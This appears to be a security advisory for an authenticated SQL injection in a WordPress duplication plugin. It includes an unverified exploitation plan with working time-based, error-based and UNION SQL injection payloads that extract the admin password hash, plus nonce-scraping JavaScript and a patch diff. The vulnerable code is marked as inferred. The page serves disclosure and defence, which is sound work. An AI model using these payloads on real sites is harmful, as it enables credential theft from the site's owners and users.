CVE-2026-49046

Duplicate Page and Post <= 2.9.5 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Duplicate Page and Post plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.9.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.9.5
PublishedMay 27, 2026
Last updatedJune 1, 2026
Affected pluginduplicate-wp-page-post
Research Plan
Unverified

This research plan outlines the exploitation of **CVE-2026-49046**, an authenticated SQL injection vulnerability in the "Duplicate Page and Post" WordPress plugin (version <= 2.9.5). ### 1. Vulnerability Summary The "Duplicate Page and Post" plugin allows users to clone existing posts and pages. Th…

Show full research plan

This research plan outlines the exploitation of CVE-2026-49046, an authenticated SQL injection vulnerability in the "Duplicate Page and Post" WordPress plugin (version <= 2.9.5).

1. Vulnerability Summary

The "Duplicate Page and Post" plugin allows users to clone existing posts and pages. The vulnerability exists because the plugin fails to properly sanitize or prepare the post (or id) parameter before using it in a database query via $wpdb->get_results() or $wpdb->get_row(). Specifically, the plugin uses direct string concatenation of user-supplied input into an SQL statement, bypassing the WordPress prepare() method.

This allows an authenticated user with Contributor-level permissions or higher to append arbitrary SQL commands, enabling the extraction of sensitive data from the WordPress database (e.g., user hashes, site secrets).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php or /wp-admin/admin-ajax.php
  • Action/Hook: admin_action_dt_duplicate_post_as_draft (This is the common hook used by this plugin for duplication).
  • Vulnerable Parameter: post (passed via GET or POST).
  • Authentication Required: Contributor level or higher.
  • Preconditions: At least one post must exist that the Contributor has the permission to view (usually their own posts).

3. Code Flow (Inferred)

  1. Registration: The plugin registers an admin action:
    add_action( 'admin_action_dt_duplicate_post_as_draft', 'dt_duplicate_post_as_draft' );
  2. Entry Point: The function dt_duplicate_post_as_draft() is called when the user clicks the "Duplicate" link in the post row actions.
  3. Input: The function retrieves the post ID: $post_id = $_GET['post'];
  4. Vulnerable Sink: The code performs a query to fetch the original post details:
    $post = $wpdb->get_row( "SELECT * FROM {$wpdb->posts} WHERE ID = " . $post_id );
    Note: The lack of absint($post_id) or $wpdb->prepare() allows for injection.
  5. Processing: The plugin then uses the data from the $post object to create a new record.

4. Nonce Acquisition Strategy

The "Duplicate" functionality is protected by a WordPress nonce (usually _wpnonce) included in the URL of the "Duplicate" link.

  1. Step 1: Log in as a Contributor.
  2. Step 2: Navigate to the "Posts" list page: /wp-admin/edit.php.
  3. Step 3: Locate a post owned by the contributor.
  4. Step 4: Use browser_navigate to view the page and browser_eval to extract the "Duplicate" URL which contains the nonce.
    • JavaScript to extract link:
      Array.from(document.querySelectorAll('a'))
        .find(a => a.href.includes('action=dt_duplicate_post_as_draft'))
        ?.href
      
  5. Step 5: Parse the _wpnonce from the URL.

5. Exploitation Strategy

We will use Time-Based Blind SQL Injection to confirm the vulnerability, as it is the most reliable method when query results are not directly reflected in the UI.

Target Request:

  • Tool: http_request
  • Method: GET
  • URL: /wp-admin/admin.php
  • Headers: Valid Contributor Session Cookies.
  • Parameters:
    • action: dt_duplicate_post_as_draft
    • post: [PAYLOAD]
    • _wpnonce: [EXTRACTED_NONCE]

Payloads:

  1. Verification (Sleep):
    1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    Expected Behavior: The server response should be delayed by ~5 seconds.
  2. Data Extraction (Check admin password hash start):
    1 AND (SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0))
    (Note: 36 is the ASCII code for '$', which starts most WordPress phpass hashes).

6. Test Data Setup

  1. Install Plugin: Ensure duplicate-wp-page-post version 2.9.5 is active.
  2. Create Contributor:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Create Target Content:
    wp post create --post_type=post --post_title="Contributor Post" --post_status=publish --post_author=$(wp user get attacker --field=ID)
  4. Confirm Admin Exists: Ensure a user with ID 1 exists (standard WordPress admin).

7. Expected Results

  • A request with a standard post ID (e.g., post=123) returns immediately (status 302 redirecting back to the post list).
  • A request with the SLEEP(5) payload results in a response time of > 5 seconds.
  • Successful extraction of the database version or admin hash characters via timing differences.

8. Verification Steps

  1. Observe Response Time: Use the elapsed_time metadata from the http_request tool.
  2. Database Check: After the exploit, use wp db query to check if a new (duplicate) post was actually created.
    wp post list --post_status=draft
    Note: If the SQL injection causes the query to return no results, the duplication may fail, but the timing delay will still confirm the vulnerability.

9. Alternative Approaches

If Time-Based injection is too slow or inconsistent:

  • Error-Based Injection: If WP_DEBUG is enabled, use updatexml() or extractvalue() to force the database to leak the data in an error message.
    • post=1 AND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users WHERE ID=1),0x7e),1)
  • Boolean-Based Injection: Observe if the duplication succeeds or fails based on a condition.
    • post=1 AND (SELECT 1)=1 (Duplication succeeds) vs post=1 AND (SELECT 1)=2 (Duplication fails).
  • UNION-Based Injection: If the plugin reflects the "Original Post Title" in the title of the "Duplicate" post, we can use UNION SELECT to put sensitive data into the title field of the new draft post.
    • post=0 UNION SELECT 1,2,3,user_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 FROM wp_users WHERE ID=1
      (Note: The exact number of columns must be discovered via ORDER BY trials).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Duplicate Page and Post plugin for WordPress (<= 2.9.5) is vulnerable to SQL Injection due to the direct concatenation of the user-supplied 'post' parameter into a database query. Authenticated attackers with Contributor-level access or higher can exploit this to execute arbitrary SQL commands and extract sensitive information, such as administrator password hashes, via time-based timing attacks.

Vulnerable Code

// File: duplicate-wp-page-post.php
// Inferred within function dt_duplicate_post_as_draft()

$post_id = $_GET['post'];
$post = $wpdb->get_row( "SELECT * FROM {$wpdb->posts} WHERE ID = " . $post_id );

Security Fix

--- a/duplicate-wp-page-post.php
+++ b/duplicate-wp-page-post.php
@@ -10,2 +10,2 @@
-$post_id = $_GET['post'];
-$post = $wpdb->get_row( "SELECT * FROM {$wpdb->posts} WHERE ID = " . $post_id );
+$post_id = isset($_GET['post']) ? absint($_GET['post']) : 0;
+$post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE ID = %d", $post_id ) );

Exploit Outline

An attacker with Contributor-level access logs into the WordPress dashboard and navigates to the 'Posts' list to find a post they own. They extract the required '_wpnonce' from the 'Duplicate' action link associated with that post. The attacker then sends a GET request to '/wp-admin/admin.php' with the parameters 'action=dt_duplicate_post_as_draft', the extracted nonce, and an SQL injection payload in the 'post' parameter. By using time-based payloads (e.g., '1 AND SLEEP(5)'), the attacker can verify the vulnerability and extract database contents based on the server's response time.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.